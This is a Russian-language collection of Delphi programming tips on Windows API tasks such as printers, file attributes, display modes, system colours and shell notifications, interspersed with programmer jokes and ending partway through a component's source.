Отец-программист сидит у телевизора. Сынок возится с компьютером. Через некоторое время сынок подбегает к папе:
- Папа! А что значит надпись "Формат диск C камплит?

CD может иметь или не иметь серийный номер и/или универсальный код продукта (Universal Product Code). MCI-расширение Windows предоставляет эту информации с помощью комманды MCI_INFO_MEDIA_IDENTITY command. Эта команда возвращает уникальную ID-строку.


 uses
   MMSystem, MPlayer;
 
 procedure TForm1.Button1Click(Sender: TObject);
 var
   mp: TMediaPlayer;
   msp: TMCI_INFO_PARMS;
   MediaString: array [0..255] of char;
   ret: longint;
 begin
   mp := TMediaPlayer.Create(nil);
   mp.Visible := false;
   mp.Parent := Application.MainForm;
   mp.Shareable := true;
   mp.DeviceType := dtCDAudio;
   mp.FileName := 'D:';
   mp.Open;
   Application.ProcessMessages;
   FillChar(MediaString, sizeof(MediaString), #0);
   FillChar(msp, sizeof(msp), #0);
   msp.lpstrReturn := @MediaString;
   msp.dwRetSize := 255;
   ret := mciSendCommand(Mp.DeviceId, MCI_INFO,
   MCI_INFO_MEDIA_IDENTITY, longint(@msp));
   if Ret 0 then
   begin
     MciGetErrorString(ret, @MediaString, sizeof(MediaString));
     Memo1.Lines.Add(StrPas(MediaString));
   end
   else
     Memo1.Lines.Add(StrPas(MediaString));
   mp.Close;
   Application.ProcessMessages;
   mp.free;
 end;
 
 end.
 




Получить или установить принтер по умолчанию


 uses
   Printers, Messages;
 
 function GetDefaultPrinter: string;
 var
   ResStr: array[0..255] of Char;
 begin
   GetProfileString('Windows', 'device', '', ResStr, 255);
   Result := StrPas(ResStr);
 end;
 
 procedure SetDefaultPrinter1(NewDefPrinter: string);
 var
   ResStr: array[0..255] of Char;
 begin
   StrPCopy(ResStr, NewdefPrinter);
   WriteProfileString('windows', 'device', ResStr);
   StrCopy(ResStr, 'windows');
   SendMessage(HWND_BROADCAST, WM_WININICHANGE, 0, Longint(@ResStr));
 end;
 
 procedure SetDefaultPrinter2(PrinterName: string);
 var
   I: Integer;
   Device: PChar;
   Driver: PChar;
   Port: PChar;
   HdeviceMode: THandle;
   aPrinter: TPrinter;
 begin
   Printer.PrinterIndex := -1;
   GetMem(Device, 255);
   GetMem(Driver, 255);
   GetMem(Port, 255);
   aPrinter := TPrinter.Create;
   try
     for I := 0 to Printer.Printers.Count - 1 do
     begin
       if Printer.Printers = PrinterName then
       begin
         aprinter.PrinterIndex := i;
         aPrinter.getprinter(device, driver, port, HdeviceMode);
         StrCat(Device, ',');
         StrCat(Device, Driver);
         StrCat(Device, Port);
         WriteProfileString('windows', 'device', Device);
         StrCopy(Device, 'windows');
         SendMessage(HWND_BROADCAST, WM_WININICHANGE,
           0, Longint(@Device));
       end;
     end;
   finally
     aPrinter.Free;
   end;
   FreeMem(Device, 255);
   FreeMem(Driver, 255);
   FreeMem(Port, 255);
 end;
 
 procedure TForm1.Button1Click(Sender: TObject);
 begin
   label1.Caption := GetDefaultPrinter2;
 end;
 
 //Fill the combobox with all available printers 
 procedure TForm1.FormCreate(Sender: TObject);
 begin
   Combobox1.Items.Clear;
   Combobox1.Items.AddStrings(Printer.Printers);
 end;
 
 //Set the selected printer in the combobox as default printer 
 procedure TForm1.Button2Click(Sender: TObject);
 begin
   SetDefaultPrinter(Combobox1.Text);
 end;
 




Как узнать или установить аттрибуты файла

Чтобы прочитать аттрибуты файла, необходимо передать имя файла в функцию FileGetAttr, которая вернёт аттрибуты для данного файла.

Например, добавьте на форму компоненты TButton и TLabel и добавьте следующий код в в обработчик события OnClick кнопки:


 var
   attr: Integer;
   s: string;
 begin
   attr := FileGetAttr('c:\Autoexec.bat');
   if (attr and faHidden) <> 0 then s := 'Hidden';
   if (attr and faReadOnly) <> 0 then s := s + 'Read-Only';
   if (attr and faSysFile) <> 0 then s := s + 'System';
   if (attr and faArchive) <> 0 then s := s + 'Archive';
   Label1.Caption := s;
 end;
 

Чтобы установить аттрибуты у файла, необходимо передать имя файла и нужные аттрибуты в функцию FileSetAttr. Каждый аттрибут имеет мнемоническое имя, объявленное в юните SysUtils.

Например, чтобы установить файлу системный атрибут, необходимо выполнить следующий код:


 Attributes := Attributes or faSystem;
 

Так же можно очистить некоторые аттрибуты. Например, чтобы снять атрибуты только чтения и "Скрытый", необходимо выполнить следующий код:


 Attributes := Attributes and not (faReadOnly or faHidden);
 

Вместо объявленных значений атрибутов можно использовать числовые значения.

 +--------------------------------+
 | Возвр. знач.|   Аттр. Файла    |
 +--------------------------------+
 |   128       |   Нормальный     |
 |   1         |   Только чтение  |
 |   2         |   Скрытый        |
 |   4         |   Системный      |
 |   32        |   Архивный       |
 +-------------+------------------+
 

Пример:


 
 {Скрытый}
 FileSetAttr('C:\Autoexec.bat',2);
 
 {Скрытый и Только чтение. В свою очередь
 функция FileGetAttr верн¸т значение 3}
 FileSetAttr('C:\Autoexec.bat',3);
 




Установить или получить статус Off-Line

Ребенок спрашивает маму:
- Мамочка! А почему мой папа не делает мне козу и не шлепает по попке?
- Потому что нет у тебя больше папки, - рыдая, сказала мама. - Он купил себе модем и подключился к Интернету!


 {
   Users can choose to work offline by selecting Work Offline on the
   File menu in Internet Explorer 4.0 and later. When Work Offline is selected,
   the system enters a global offline state independent of any current network
   connection, and content is read exclusively from the cache.
 }
 
 uses wininet;
 
 // Get offline state 
 // Alhaiseb Misurata Libya 
 
 function IsGlobalOffline: Boolean;
 var
   State, Size: DWORD;
 begin
   Result := False;
   State  := 0;
   Size   := SizeOf(DWORD);
   if InternetQueryOption(nil, INTERNET_OPTION_CONNECTED_STATE, @State, Size) then
     if (State and INTERNET_STATE_DISCONNECTED_BY_USER) <> 0 then
       Result := True;
 end;
 
 
 //Set offline state 
 
 procedure SetGlobalOffline(fGoOffline: Boolean);
 var
   ci: INTERNET_CONNECTED_INFO;
 begin
   if fGoOffline then
   begin
     ci.dwConnectedState := INTERNET_STATE_DISCONNECTED_BY_USER;
     ci.dwFlags          := ISO_FORCE_DISCONNECTED;
   end
   else
     ci.dwConnectedState := INTERNET_STATE_CONNECTED;
   InternetSetOption(nil, INTERNET_OPTION_CONNECTED_STATE, @ci, SizeOf(ci));
 end;
 




Как получить или установить приоритет процесса в Win9x или Me


 const
   ppIdle : Integer = -1;
   ppNormal : Integer = 0;
   ppHigh : Integer = 1;
   ppRealTime : Integer = 2;
 
 function SetProcessPriority( Priority : Integer ) : Integer;
 var
   H : THandle;
 begin
   Result := ppNormal;
   H := GetCurrentProcess();
   if ( Priority = ppIdle ) then
     SetPriorityClass( H, IDLE_PRIORITY_CLASS )
   else
   if ( Priority = ppNormal ) then
     SetPriorityClass( H, NORMAL_PRIORITY_CLASS )
   else
   if ( Priority = ppHigh ) then
     SetPriorityClass( H, HIGH_PRIORITY_CLASS )
   else
   if ( Priority = ppRealTime ) then
     SetPriorityClass( H, REALTIME_PRIORITY_CLASS );
   case GetPriorityClass( H ) of
     IDLE_PRIORITY_CLASS : Result := ppIdle;
     NORMAL_PRIORITY_CLASS : Result := ppNormal;
     HIGH_PRIORITY_CLASS : Result := ppHigh;
     REALTIME_PRIORITY_CLASS : Result := ppRealTime;
   end;
 end;
 
 function GetProcessPriority : Integer;
 var
   H : THandle;
 begin
   Result := ppNormal;
   H := GetCurrentProcess();
   case GetPriorityClass( H ) of
     IDLE_PRIORITY_CLASS : Result := ppIdle;
     NORMAL_PRIORITY_CLASS : Result := ppNormal;
     HIGH_PRIORITY_CLASS : Result := ppHigh;
     REALTIME_PRIORITY_CLASS : Result := ppRealTime;
   end;
 end;
 

Как использовать:


 function SetProcessPriority( Priority : Integer ) : Integer;
 

для установки приоритета Вашего приложения, либо:


 function GetProcessPriority : Integer;
 

для получения приоритета.




Как узнать и поменять разрешение экрана

Узнать можно так:


 Screen.Width;
 Screen.Height;
 

А поменять можно с помощью следующей процердуры:


 procedure ChangeDisplayResolution(x, y: word);
 var
   dm: TDEVMODE;
 begin
   ZeroMemory(@dm, sizeof(TDEVMODE));
   dm.dmSize := sizeof(TDEVMODE);
   dm.dmPelsWidth := x;
   dm.dmPelsHeight := y;
   dm.dmFields := DM_PELSWIDTH or DM_PELSHEIGHT;
   ChangeDisplaySettings(dm, 0);
 end;
 




Получить и установить системные цвета

Заходит компьютерщик в булочную после бессонной ночи у компьютера, провозивщись с установкой кривой видеокарты и говорит: - Мне, пожалуйста, буханку черно-белого хлеба и батон цветного....


 var
 
   OldColor: TColor;
   Element: TColor = COLOR_BTNFACE;
 
   {....}
 
 {
   Set the color for a system element. SetSysColors function
   changes the current Windows session only.
   The new colors are not saved when Windows terminates.
   For a list of color elements see  Win32 API Help - Function GetSysColor
 
 
   Open the ColorDialog - and set the new color systemwide
 }
 
 procedure TForm1.Button1Click(Sender: TObject);
 begin
   if ColorDialog1.Execute then
   begin
     SetSysColors(1, Element, ColorDialog1.Color);
   end;
 end;
 
 {
   Save the old color value of the element COLOR_BTNFACE to restore on Button2 click
 }
 
 procedure TForm1.FormShow(Sender: TObject);
 begin
   OldColor := GetSysColor(COLOR_BTNFACE);
 end;
 
 {
   Restore the old color value
   Stellt den alten Farbwert wieder her
 }
 
 procedure TForm1.Button2Click(Sender: TObject);
 begin
   SetSysColors(1, Element, OldColor);
 end;
 




Получаем и устанавливаем различные режимы видеоадаптера

Подарили одному программисту на Новый 1998 год крутую видеокарточку. Ну, естественно, шампанское побоку, ящик пива - и сидит он в новогоднюю ночь, карточку новую ставит. Ставит драйвера, переставляет Винды - не работает девайс... Тут у него за спиной голос:
- Ебешься?
- Ебусь, - не поднимая головы отвечает программист.
- А хочешь по-настоящему?
- Хочу! - не поднимая голвы отвечает программист.
И сказал Билл Гейтс:
- Будет тебе в новом году Windows"98!

Display Device Modes

При разработке Windows приложения, иногда приходится учитывать тот факт, что оно в будущем будет работать на компьютерах с абсолютно разными мониторами и рабочими разрешениями, установленными на видео адаптере. Поэтому не лишне было бы включить в приложение такую возможность как установка различных разрешений видео адаптера.

В данной статье мы рассмотрим принципы работы с API функцией EnumDisplaySettings, которая позволяет получить список доступных разрешений дисплея, а так же с функцией ChangeDisplaySettings для смены текущего видео-режима.

Получение возможных видео-режимов

Итак, для того, чтобы получить информацию о всех возможных режимах адаптера, нам необходимо сделать серию вызовов функции EnumDisplaySettings. Вызывая эту функцию в цикле мы будем каждый раз получать доступный режим, до тех пор пока результат функции не станет отличным от True.

Данная функция имеет на входе переменную типа TDevMode, в которой помещаются параметры. Сам тип TDevMode имеет множество переменных, относящихся к видео адаптеру. А именно, он включает в себя разрешение видео адаптера в пикселях (dmPelsWidth, dmPelsHeight), разрядность цвета (в битах на пиксель), поддерживаемая при данном разрешении (dmBitsPerPel), частота обновления (dmDisplayFrequency) и другие.


 procedure TForm1.FormCreate(Sender: TObject);
 var
   i: Integer;
   DevMode: TDevMode;
 begin
   i:=0;
   while EnumDisplaySettings(nil,i,DevMode) do
   begin
     with Devmode do
       ListBox1.Items.Add(Format('%dx%d %d Colors',
       [dmPelsWidth,dmPelsHeight,1 shl dmBitsperPel]));
     Inc(i);
   end;
 end;
 

Установка видео-режима

После того как мы получим все доступные режимы, то установить желательный не составляет особого труда. Для этого мы воспользуемся функцией ChangeDisplaySettings. Так же данная функция при необходимости обновит реестр Windows.


 procedure TForm1.Button1Click(Sender: TObject);
 var
   DevMode: TDeviceMode;
   liRetValue: Longint;
 begin
   if EnumDisplaySettings(nil,Listbox1.ItemIndex,Devmode) then
     liRetValue := ChangeDisplaySettings(DevMode, CDS_UPDATEREGISTRY);
 
   SendMessage(HWND_BROADCAST, WM_DISPLAYCHANGE, SPI_SETNONCLIENTMETRICS, 0);
 end;
 

Функция ChangeDisplaySettings возвращает значение long integer. Это значение можно использовать для определения успешности выполнения функции, сравнив со значениями из списка констант.

Внимание:

Не рекомендуется устанавливать значение видео-режима, который не присутствует в списке доступных. Это может привести к мерцанию экрана либо вообще к исчезновению изображения.

Внимание:

Многие адаптеры (особенно старые) могут не поддерживать смену разрешения без перезагрузки компьютера.

Внимание:

SendMessage используется для того, чтобы информировать все окна о смене видео-режима.

Отслеживание изменений дисплея

Для отслеживания изменений необходимо создать обработчик для перехвата сообщения WM_DISPLAYCHANGE. Обычно данный приём используется в случае, если приложения использует в своей работе графику, и его необходимо перезагрузить для смены разрешения, разрядности цвета и т.д.


 ...
 type
   TForm1 = class(TForm)
     ListBox1: TListBox;
 ...
   private
   procedure WMDisplayChange(var message:TMessage); message WM_DISPLAYCHANGE;
 ...
 
 procedure TForm1.WMDisplayChange(var message: TMessage);
 begin
   ShowMessage('Changes in display detected!');
   inherited;
 end;
 

Скачать демонстрационный проект



Получение и установка видеорежимов в Windows


- Дело в том, - говорит автолюбитель постовому, - что я программист.
- Теперь понятно, почему ваш талон похож на перфокарту.

При разработке приложений, которые затем будут использоваться на большом числе различных ПК очень полезно иметь возможность не только получения информации о текущем видеорежиме, но и возможность получить все доступные видеорежимы для данного ПК. Еще одна область, где используется переключение видеорежимов при написании игр без использования DirectX.

Получение списка видеорежимов

Получить видеорежимы можно серией вызовов EnumDisplaySettings. Функция EnumDisplaySettings возвращает информацию о видеорежиме, указанном в параметре IModeNode. Функции необходимо передать структуру типа TDevMode, в которую будет записана информация о видеорежиме. Данная структура имеет поля, характеризующие видеорежим: разрешение (dmPelsWidth, dmPelsHeight), количество битов цветности (dmBitsPerPel), частота обновления экрана (dmDisplayFrequency) и др.


 function EnumDisplaySettings(lpszDeviceName: PWideChar; iModeNum: DWORD;
   var lpDevMode: TdeviceMode): BOOL; stdcall;
 

Параметры

lpszDeviceName
Указатель на нуль-терминальную строку, определяющую экранное устройство, видеорежимы которого мы хотим получить. В Windows 95 and 98 (и в наших приложениях :)) ), lpszDeviceName должно быть равно Nil.
iModeNum
Номер видеорежима
lpDevMode
Структура, в которой будет возвращена информация о видеорежиме. Cтруктура довольно сложна и используется не только для видео устройств, но нам понадобятся только следующие ее поля.

Поле Описание

DmBitsPerPel
Количество бит на пиксел
DmPelsWidth
Ширина в пикселях
DmPelsHeight
Высота в пикселях
DmDisplayFlags
  • DM_GRAYSCALE - Черно-белое устройство
  • DM_INTERLACED - Черезстрочная развертка.
  • Если флаг не установлен, подразумевается построчная развертка
dmDisplayFrequency
Частота обновления экрана
DmPosition
Windows 98, Windows 2000: Номер монитора для конфигураций с несколькими мониторами
DmFields
Поле dmFields используется при смене видеорежима для указания, какие именно из параметров устройства мы хотим изменить. Каждый бит поля определяет необходимость смены одного из параметров. Возможные значения:
  • DM_BITSPERPEL - Изменить количество бит на пиксель на значение указанное в поле dmBitsPerPel.
  • DM_PELSWIDTH - Изменить ширинку экрана на значение указанное в поле dmPelsWidth.
  • DM_PELSHEIGHT - Изменить выстоу экрана на значение указанное в поле dmPelsHeight
  • DM_DISPLAYFLAGS - Изменить флаги.
  • DM_DISPLAYFREQUENCY - Изменить частоту обновления dmDisplayFrequency.
  • DM_POSITION - Windows 98, Windows 2000: изменить номер монитора.

Если lpDevMode равно nil, из реестра берется информация о видеорежиме установленном по умолчанию. Передавая в lpDevMode nil и в dwFlags 0 можно получить настройки текущего видеорежима.

Ниже приведена процедура, получающая и отображающая в ListBox все возможные видеорежимы.


 procedure TForm1.FormCreate(Sender: TObject);
 var
   i: Integer;
   DevMode : TDeviceMode;
 begin
   i:=0;
   while EnumDisplaySettings(nil,i,DevMode) do
   begin
     with Devmode do
       ListBox1.Items.Add(Format('%dx%d %d Colors',
       [dmPelsWidth,dmPelsHeight,Int64(1) shl dmBitsperPel]));
     Inc(i);
   end;
 end;
 

Получение параметров текущего видеорежима

Помимо вызова EnumDisplaySettings инфомацию о текущем видеорежиме можно получать и другими способами.Получить количество битов цвета текущего видеорежима можно и другим способом:


 GetDeviceCaps(Form1.Canvas.Handle, BITSPIXEL) *
 GetDeviceCaps(Form1.Canvas.Handle, PLANES)
 

Получаемые значения при этом:

  • 1 = 2 бита на точку
  • 4 = 16 бита на точку
  • 8 = 256 бита на точку
  • 15 = 32768 бита на точку (возвркащает 16 для большинства драйверов экранных устройств)
  • 16 = 65535 бита на точку
  • 24 = 16,777,216 бита на точку
  • 32 = 16,777,216 бита на точку (то же 24)

Непосредственно количество цветов можно так же легко подсчитать:


 NumberOfColors := (1 shl
 (GetDeviceCaps(Form1.Canvas.Handle, BITSPIXEL) *
 GetDeviceCaps(Form1.Canvas.Handle, PLANES));
 

Текущее разрешение экрана можно узнать с помощью вызова GetSystemMetrics() в качестве параметров передается:

SM_CXSCREEN
высота рабочей области экрана в пикселах
SM_CYSCREEN
ширина рабочей области экрана в пикселах
SM_CXFULLSCREEN
высота всей экранной области в пикселах
SM_CYFULLSCREEN
ширина всей экранной области в пикселах

Ниже приведен пример получения высоты и ширины рабочей области экрана (для всей экранной области надо просто поменять параметры вызова GetSystemMetrics):


 var
   x, y: Integer;
   Mode: string;
 begin
   x:=GetSystemMetrics(Sm_Cxscreen);
   y:=GetSystemMetrics(Sm_CYscreen);
   Mode:=Format('%d x %d',[x,y]);
   if y=480 then
     Mode:=Mode+('Standard VGA')
   else
     Mode:=Mode+('Super VGA');
   StaticText1.Caption:=Mode;
 end;
 

Установка видеорежима

Как мы убедились получения списка и параметров видеорежимов не проблема. Теперь разберемся с программной сменой видеорежимов. Функция ChangeDisplaySettings предназначена для изменения текущего видеорежима экрана и при необходимости обновления этой информации в реестре Windows.


 function ChangeDisplaySettings(var lpDevMode: TDeviceMode;
 dwFlags: DWORD): Longint; stdcall;
 

Параметры:

lpDevMode
Структура с описанием видеорежима, на который мы хотим переключиться. Поля структуры были рассмотрены ранее.
dwFlags
Определяет как будет изменен видеорежим.
  • 0 - Немедленное изменение видеорежима. Установка данного флага возвращает в видеорежим по умолчанию, установленному в реестре, если он был изменен с применением флага CDS_FULLSCREEN, при этом первый параметр функции должен быть nil и флаги равны 0.
  • CDS_UPDATEREGISTRY - Видеорежим будет изменен немедленно и информация записана в реестр в пользовательский профиль.
  • CDS_TEST - Запрос теста видеорежима средствами Windows
  • CDS_FULLSCREEN - Установка видеорежима временна.
  • CDS_GLOBAL - Видеорежим будет изменен для всех пользователей данной машины. Иначе видеорежим меняется только для текущего пользователя. Используется вместе с флагом CDS_UPDATEREGISTRY.
  • CDS_SET_PRIMARY - Видеорежим становится первичным.
  • CDS_RESET - Параметры видеорежима будут изменены, даже если совпадают с текущими.
  • CDS_NORESET - Изменения будут записаны в реестр, но не вступят в силу. Используется с флагом CDS_UPDATEREGISTRY
Возвращаемое значение:
  • DISP_CHANGE_SUCCESSFUL Изменения прошли успешно.
  • DISP_CHANGE_RESTART Необходима перезагрузка для вступления изменений в силу
  • DISP_CHANGE_BADFLAGS Передан неверный набор флагов
  • DISP_CHANGE_BADPARAM Неверные параметры.
  • DISP_CHANGE_FAILED Драйвер видеоустройства не смог установить режим
  • DISP_CHANGE_BADMODE Видеорежим не поддерживается
  • DISP_CHANGE_NOTUPDATED Windows NT/2000: Ошибка записи в реестр

При немедленном изменении видеорежима всем запущенным приложениям рассылается сообщение WM_DISPLAYCHANGE.

А вот и пример смены видеорежима:


 {...}
 
 type
   TForm1 = class(TForm)
     Button1: TButton;
     ListView1: TListView;
     procedure Button1Click(Sender: TObject);
     procedure FormCreate(Sender: TObject);
     procedure ListView1DblClick(Sender: TObject);
   private
     { Private declarations }
     {Массив для хранения информации о видеорежимах}
     DevMode : array[0..20] of TDeviceMode;
   public
     { Public declarations }
 end;
 
 {...}
 
 procedure TForm1.FormCreate(Sender: TObject);
 begin
   {Настройка ListView}
   ListView1.ViewStyle := vsReport;
 
   ListView1.RowSelect := TRUE;
 
   ListView1.Columns.Add;
   ListView1.Columns.Add;
   ListView1.Columns[0].Caption := 'Width x Height';
   ListView1.Columns[0].Width := 100;
   ListView1.Columns[1].Caption := 'Colors';
   ListView1.Columns[1].Width := 100;
 end;
 
 {Процедура получения списка режимов}
 procedure TForm1.Button1Click(Sender: TObject);
 var
   tmpStr1, tmpStr2 : string;
   tmpDC : HDC;
   x, Selection, cxScreen, cyScreen, Resolution : Integer;
 begin
   { Запоминаем текущие настройки}
   tmpDC := getDC(Handle);
   try
     cxScreen := GetSystemMetrics(SM_CXSCREEN);
     cyScreen := GetSystemMetrics(SM_CYSCREEN);
     Resolution := GetDeviceCaps(tmpDC, BITSPIXEL);
   finally
     ReleaseDC(Handle, tmpDC);
   end;
 
   ListView1.Items.Clear;
   x := 0;
 
   { Получаем список видеорежимов}
   while EnumDisplaySettings(nil,x,DevMode[x]) do
   begin
 
     { Разрешение экрана }
     tmpStr1 := IntToStr(DevMode[x].dmPelsWidth) + 'x' +
     IntToStr(DevMode[x].dmPelsHeight);
 
     { Цвета }
     case DevMode[x].dmBitsPerPel of
       4 : tmpStr2 := '16 Colors';
       8 : tmpStr2 := '256 Colors';
       16 : tmpStr2 := 'High Color (16 Bit)';
       32 : tmpStr2 := 'True Color (32 Bit)';
     end;
 
     { А теперь полученную информацию надо отобразить }
     with ListView1.Items.Add do
     begin
       Caption := tmpStr1;
       SubItems.Add(tmpStr2);
     end;
 
     { В ListView надо встать не строку с описанием текущего режима,
     для этого сохраним индекс элемента с описанием этого режима }
     if ( cxScreen = DevMode[x].dmPelsWidth ) and
     ( cyScreen = DevMode[x].dmPelsHeight ) and
     ( Resolution = DevMode[x].dmBitsPerPel ) then
       Selection := x;
 
     inc(x);
 
     if x = 20 then
       Break;
   end;
 
   { В ListView перемещаемся на строчку с описанием текущего режима }
   ActiveControl := ListView1;
   ListView1.Selected := ListView1.Items.Item[Selection];
 end;
 
 
 {Установка выбранного пользователем видеорежима}
 procedure TForm1.ListView1DblClick(Sender: TObject);
 var
   tmpDevMode : TDevMode;
 begin
   { Получаем сохраненную ранее информацию по выбранному режиму}
   tmpDevMode := DevMode[ListView1.Items.IndexOf(ListView1.Selected)];
 
   { Скажем Windows, какие параметры надо сменить }
   tmpDevMode.dmFields := DM_BITSPERPEL or DM_PELSWIDTH or
     DM_PELSHEIGHT or DM_DISPLAYFLAGS or DM_DISPLAYFREQUENCY;
 
   { Очень неплохо будет протестировать видеорежим
   и записать изменения в реестр}
   if ChangeDisplaySettings(tmpDevMode, CDS_TEST) =
   DISP_CHANGE_SUCCESSFUL then
     ChangeDisplaySettings(tmpDevMode, CDS_UPDATEREGISTRY);
 end;
 

Замечание 1:

Не рекомендуется устанавливать видеорежимы, отличные от полученных вызовами EnumDisplaySettings. Возможна ситуация, когда пользователь вместо рабочего стола увидит лишь черный экран.

Замечание 2:

Многие драйвера, особенно старые не поддерживают изменения видеорежима без перезагрузки компьютера.

Обнаружение изменений видеорежима

При изменениях видеорежима генерируется сообщение WM_DISPLAYCHANGE. Необходимо создать обработчик данного сообщения в вашем приложении.


 ...
 type
   TForm1 = class(TForm)
   ListBox1: TListBox;
 ...
 private
   procedure WMDisplayChange(var message:TMessage); message WM_DISPLAYCHANGE;
 ...
 
 procedure TForm1.WMDisplayChange(var message: TMessage);
 begin
   ShowMessage('Changes in display detected!');
   inherited;
 end;
 




Получить или установить задний фон в TWebBrowser

Наш файервалл надежно зашищает внешний мир от нас.


 //You need a TWebbrowser and 3 TButtons 
 
 // First load a page 
 procedure TForm1.Button1Click(Sender: TObject);
 begin
   WebBrowser1.Navigate('www.SwissDelphiCenter.com');
 end;
 
 // Show the background color 
 // Hintergrundfarbe herausfinden 
 procedure TForm1.Button2Click(Sender: TObject);
 begin
   ShowMessage(WebBrowser1.OleObject.Document.bgColor);
 end;
 
 // Set the background color 
 procedure TForm1.Button3Click(Sender: TObject);
 begin
   WebBrowser1.OleObject.Document.bgColor := '#000000';
 end;
 




Получение уведомлений от оболочки (Shell)

Автор: maniac_n@hotmail.com

Программер играет в шахматы с компьютером и получает мат на 15 ходу. В сердцах бьет по клавиатуре: - Проклятый виндоз, опять глючит.

Пример показывает - как можно отслеживать практически все события происходящий в Вашей оболочке. Код находится в процессе разработки, но уже содержит в себе большое количество возможностей.


 {$IFNDEF VER80} {$IFNDEF VER90} {$IFNDEF VER93}
 {$DEFINE Delphi3orHigher}
 {$ENDIF} {$ENDIF} {$ENDIF}
 
 unit ShellNotify;
 
 interface
 
 uses
   Windows, Messages, SysUtils, Classes, Controls, Forms, Dialogs,
   {$IFNDEF Delphi3orHigher} OLE2, {$ELSE} ActiveX, ComObj, {$ENDIF}
   ShlObj;
 
 
 type
   NOTIFYREGISTER = record
     pidlPath : PItemIDList;
     bWatchSubtree : boolean;
 end;
 
 PNOTIFYREGISTER = ^NOTIFYREGISTER;
 
 const
   SNM_SHELLNOTIFICATION = WM_USER +1;
   SHCNF_ACCEPT_INTERRUPTS = $0001;
   SHCNF_ACCEPT_NON_INTERRUPTS = $0002;
   SHCNF_NO_PROXY = $8000;
 
 type
   TNotificationEvent = (neAssociationChange, neAttributesChange,
     neFileChange, neFileCreate, neFileDelete, neFileRename,
     neDriveAdd, neDriveRemove, neShellDriveAdd, neDriveSpaceChange,
     neMediaInsert, neMediaRemove, neFolderCreate, neFolderDelete,
     neFolderRename, neFolderUpdate, neNetShare, neNetUnShare,
     neServerDisconnect, neImageListChange);
   TNotificationEvents = set of TNotificationEvent;
 
   TShellNotificationEvent1 = procedure(Sender: TObject;
     Path: string)of object;
   TShellNotificationEvent2 = procedure(Sender: TObject;
     path1, path2: string) of object;
   // TShellNotificationAttributesEvent = procedure(Sender: TObject;
   // OldAttribs, NewAttribs: Integer) of Object;
 
   TShellNotification = class( TComponent )
     private
       fWatchEvents: TNotificationEvents;
       fPath: string;
       fActive, fWatch: Boolean;
 
       prevPath1, prevPath2: string;
       PrevEvent: Integer;
 
       Handle, NotifyHandle: HWND;
 
       fOnAssociationChange: TNotifyEvent;
       fOnAttribChange: TShellNotificationEvent2;
       FOnCreate: TShellNotificationEvent1;
       FOnDelete: TShellNotificationEvent1;
       FOnDriveAdd: TShellNotificationEvent1;
       FOnDriveAddGui: TShellNotificationEvent1;
       FOnDriveRemove: TShellNotificationEvent1;
       FOnMediaInsert: TShellNotificationEvent1;
       FOnMediaRemove: TShellNotificationEvent1;
       FOnDirCreate: TShellNotificationEvent1;
       FOnNetShare: TShellNotificationEvent1;
       FOnNetUnShare: TShellNotificationEvent1;
       FOnRenameFolder: TShellNotificationEvent2;
       FOnItemRename: TShellNotificationEvent2;
       FOnFolderRemove: TShellNotificationEvent1;
       FOnServerDisconnect: TShellNotificationEvent1;
       FOnFolderUpdate: TShellNotificationEvent1;
 
       function PathFromPidl(Pidl: PItemIDList): string;
       procedure SetWatchEvents(const Value: TNotificationEvents);
       function GetActive: Boolean;
       procedure SetActive(const Value: Boolean);
       procedure SetPath(const Value: string);
       procedure SetWatch(const Value: Boolean);
     protected
       procedure ShellNotifyRegister;
       procedure ShellNotifyUnregister;
       procedure WndProc(var message: TMessage);
 
       procedure DoAssociationChange; dynamic;
       procedure DoAttributesChange(Path1, Path2: string); dynamic;
       procedure DoCreateFile(Path: string); dynamic;
       procedure DoDeleteFile(Path: string); dynamic;
       procedure DoDriveAdd(Path:string); dynamic;
       procedure DoDriveAddGui(Path: string); dynamic;
       procedure DoDriveRemove(Path: string); dynamic;
       procedure DoMediaInsert(Path: string); dynamic;
       procedure DoMediaRemove(Path: string); dynamic;
       procedure DoDirCreate(Path: string); dynamic;
       procedure DoNetShare(Path: string); dynamic;
       procedure DoNetUnShare(Path: string); dynamic;
       procedure DoRenameFolder(Path1, Path2: string); dynamic;
       procedure DoRenameItem(Path1, Path2: string); dynamic;
       procedure DoFolderRemove(Path: string); dynamic;
       procedure DoServerDisconnect(Path: string); dynamic;
       procedure DoDirUpdate(Path: string); dynamic;
     public
       constructor Create(AOwner: TComponent); override;
       destructor Destroy; override;
     published
       property Path: string read fPath write SetPath;
       property Active: Boolean read GetActive write SetActive;
       property WatchSubTree: Boolean read fWatch write SetWatch;
 
       property WatchEvents: TNotificationEvents
       read fWatchEvents write SetWatchEvents;
 
       property OnAssociationChange: TNotifyEvent
       read fOnAssociationChange write FOnAssociationChange;
 
       property OnAttributesChange: TShellNotificationEvent2
       read fOnAttribChange write fOnAttribChange;
 
       property OnFileCreate: TShellNotificationEvent1
       read FOnCreate write FOnCreate;
 
       property OnFolderRename: TShellNotificationEvent2
       read FOnRenameFolder write FOnRenameFolder;
 
       property OnFolderUpdate: TShellNotificationEvent1
       read FOnFolderUpdate write FOnFolderUpdate;
 
       property OnFileDelete: TShellNotificationEvent1
       read FOnDelete write FOnDelete;
 
       property OnDriveAdd: TShellNotificationEvent1
       read FOnDriveAdd write FOnDriveAdd;
 
       property OnFolderRemove: TShellNotificationEvent1
       read FOnFolderRemove write FOnFolderRemove;
 
       property OnItemRename: TShellNotificationEvent2
       read FOnItemRename write FOnItemRename;
 
       property OnDriveAddGui: TShellNotificationEvent1
       read FOnDriveAddGui write FOnDriveAddGui;
 
       property OnDriveRemove: TShellNotificationEvent1
       read FOnDriveRemove write FOnDriveRemove;
 
       property OnMediaInserted: TShellNotificationEvent1
       read FOnMediaInsert write FOnMediaInsert;
 
       property OnMediaRemove: TShellNotificationEvent1
       read FOnMediaRemove write FOnMediaRemove;
 
       property OnDirCreate: TShellNotificationEvent1
       read FOnDirCreate write FOnDirCreate;
 
       property OnNetShare: TShellNotificationEvent1
       read FOnNetShare write FOnNetShare;
 
       property OnNetUnShare: TShellNotificationEvent1
       read FOnNetUnShare write FOnNetUnShare;
 
       property OnServerDisconnect: TShellNotificationEvent1
       read FOnServerDisconnect write FOnServerDisconnect;
 end;
 
 function SHChangeNotifyRegister( hWnd: HWND; dwFlags: integer;
 wEventMask : cardinal; uMsg: UINT; cItems : integer;
 lpItems : PNOTIFYREGISTER) : HWND; stdcall;
 
 function SHChangeNotifyDeregister(hWnd: HWND) : boolean; stdcall;
 
 function SHILCreateFromPath(Path: Pointer; PIDL: PItemIDList;
 var Attributes: ULONG):HResult; stdcall;
 
 implementation
 
 const Shell32DLL = 'shell32.dll';
 
